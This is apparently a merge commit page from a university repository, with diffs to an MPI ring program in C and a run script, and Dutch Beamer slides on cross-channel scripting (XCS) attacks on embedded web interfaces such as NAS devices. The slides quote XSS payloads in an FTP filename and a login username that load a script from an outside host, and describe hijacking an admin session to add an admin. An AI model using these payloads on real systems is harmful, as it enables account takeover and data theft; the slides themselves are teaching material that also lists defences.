Commit 3bc5644d authored by Sander Mathijs van Veen's avatar Sander Mathijs van Veen

Merge branch 'master' of vo20.nl:/git/uva

parents 8ae125ed ae636604
......@@ -2,10 +2,45 @@
#include <stdio.h>
#include <mpi.h>
double *data = {.0};
void initialize_ring(void) {
double received;
puts("Sending first data");
MPI_Send(data, 1, MPI_DOUBLE, 2, MPI_ANY_TAG, MPI_COMM_WORLD);
MPI_Recv(&received, 1, MPI_DOUBLE, tasks - 1, MPI_ANY_TAG, MPI_COMM_WORLD);
if( received != *data )
printf("Received data does not match (sent: %f, received: %f)\n",
*data, received);
else
puts("Data received succesfully");
}
void pass_data(int tasks, int rank) {
double received;
printf("Task %d sending data\n", task);
MPI_Recv(&received, 1, MPI_DOUBLE, (rank - 1 + tasks) % tasks, MPI_ANY_TAG, MPI_COMM_WORLD);
MPI_Send(data, 1, MPI_DOUBLE, (rank + 1) % tasks, MPI_ANY_TAG, MPI_COMM_WORLD);
}
int main(int argc, char **argv) {
MPI_Init(&argc, &argv);
int tasks, rank, error;
if( (error = MPI_Init(&argc, &argv)) != MPI_SUCCESS ) {
printf("MPI_init failed (error %d)\n", error);
MPI_Abort(MPI_COMM_WORLD, error);
}
MPI_Comm_size(MPI_COMM_WORLD, &tasks);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
if( !rank )
initialize_ring();
else
pass_data(tasks, rank);
MPI_Finalize();
}
......@@ -4,5 +4,6 @@ RSH_AGENT=rsh
MPI_HOSTFILE=~/.mpirun.machines
PROGRAM_EXEC=ring
mpirun -np $NUM_PROCESSES --mca pls_rsh_agent $RSH_AGENT \
--hostfile $MPI_HOSTFILE $PROGRAM_EXEC
mpirun -np $NUM_PROCESSES $PROGRAM_EXEC
#mpirun -np $NUM_PROCESSES --mca pls_rsh_agent $RSH_AGENT \
# --hostfile $MPI_HOSTFILE $PROGRAM_EXEC
......@@ -14,6 +14,8 @@
\frame
{
\frametitle{Indeling}
\tableofcontents
}
......@@ -26,7 +28,7 @@
\begin{itemize}
\item Ligt dicht bij de webontwikkelaar
\item Aantal embedded web servers groeit
\item Beveiliging groeit niet mee
\item Beveiliging groeit niet mee (26 XCS-lekken in 23 apparaten)
\end{itemize}
}
......@@ -37,9 +39,9 @@
\frametitle{Cross Site Scripting (XSS)}
\begin{itemize}
\item Invoegen van scripts op een webpagina door slechte validatie
\item Web to web
\item persistent of non-persistent
\item Invoegen van scripts op een webpagina door te profiteren van
slechte validatie
\item Persistent of non-persistent
\end{itemize}
}
......@@ -74,19 +76,20 @@
\begin{verbatim}
aanvaller -> non-web protocol -> non-web service
|
doelwit <- HHTP <- web service
doelwit <- HTTP <- web service
\end{verbatim}
\item Persistent
\item Twee op zichzelf veilige services A en B zijn samen onveilig
\item Twee op zichzelf veilige services kunnen in samenwerking onveilig
zijn
\item Moeilijker te detecteren dan XSS
\end{itemize}
}
\frame
{
\frametitle{Voorbeeld XSC: FTP exploit}
\frametitle{Voorbeeld XCS: FTP exploit}
NAS upload bestanden naar web-interface, kunnen we een script
NAS is te benaderen via een web-interface, kunnen we een script
meesturen in de bestandsnaam? \\
\vspace{4mm}
\textbf{Uitdagingen}
......@@ -101,11 +104,11 @@ doelwit <- HHTP <- web service
\frametitle{Voorbeeld XSC: FTP exploit (2)}
\begin{verbatim}
"<iframe onload='javascript:document.write(
<iframe onload=`javascript:document.write(
&apos;<html><head><&#47;head><body><script src
=&quot;http&#58;&#47;a52.us&#47;t2.js&quot;>
<&#47;script><&#47;body><&#47;html>&apos;);'
src='index.htm'>"
src='index.htm'>.pdf
\end{verbatim}
\begin{itemize}
......@@ -125,14 +128,18 @@ doelwit <- HHTP <- web service
Een logbestand wordt remote bekeken door een administrator. Kunnen we iets
loggen wat op dat moment wordt uitgevoerd?
\begin{itemize}
\begin{enumerate}
\item
Probeer in te loggen met username:
Probeer in te loggen met gebruikersnaam:
\begin{verbatim}
r","","");\\/--></script>
<script src="http://xxx"></script>
\end{verbatim}
\end{itemize}
Gebruikersnaam is incorrect, maar wordt wel gelogd
\item Admin logt in en bekijkt het logbestand, script wordt uitgevoerd
\item Script heeft beschikking over admin's sessie en voegt een nieuwe
admin toe
\end{enumerate}
}
\frame
......@@ -168,11 +175,13 @@ aanvaller -> HTTP -> web service
NAS download torrent van een webserver, de bestandsnamen in de torrent
bevatten een script.
\begin{itemize}
\begin{enumerate}
\item Torrent bevat lijst van bestanden $\rightarrow$ verspreid script
over meerdere bestandsnamen
\item Script wordt uitgevoerd op NAS, bijv. seeden van torrents of
stelen van data
\item Gebruiker bezoekt torrent service van NAS en download de torrent
\item Torrent informatie en bestandslijst worden gelezen, script wordt
uitgevoerd
\item Script kan nu bijv. torrents seeden of stelen van data
\end{itemize}
}
......@@ -183,9 +192,9 @@ aanvaller -> HTTP -> web service
\begin{itemize}
\item Probleem: derde partij verwacht ``veilige'' data, cloud service
stuurt ``raw'' data
\item Twitter: escape bij invoer (input time) $\rightarrow$ derde partij
\item Twitter: escape at input time $\rightarrow$ derde partij
moet unescapen voor eigen format $\rightarrow$ foutgevoelig
\item Facebook: escape bij uitvoer (display time) $\rightarrow$ derde
\item Facebook: escape at display time $\rightarrow$ derde
partij moet zelf escapen, dit gebeurt soms niet
\end{itemize}
}
......@@ -198,7 +207,8 @@ aanvaller -> HTTP -> web service
\begin{itemize}
\item Encoding/escaping
\item Valideren van onvertrouwde HTML-uitvoer
\item Statische analyse van onvertrouwde HTML-uitvoer
\item Flow analysis
\item Extra validatie bovenop cookies
\item Blokkeren van scripts door gebruiker
\end{itemize}
......@@ -222,7 +232,10 @@ aanvaller -> HTTP -> web service
\frametitle{Meer informatie}
\begin{itemize}
\item Artikel: \emph{``The Emergence of Cross Channel Scripting''} door
Hristo Bojinov, Elie Bursztein en Dan Boneh
\item \url{http://en.wikipedia.org/wiki/Cross-site\_scripting}
\item Vragen?
\end{itemize}
}
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment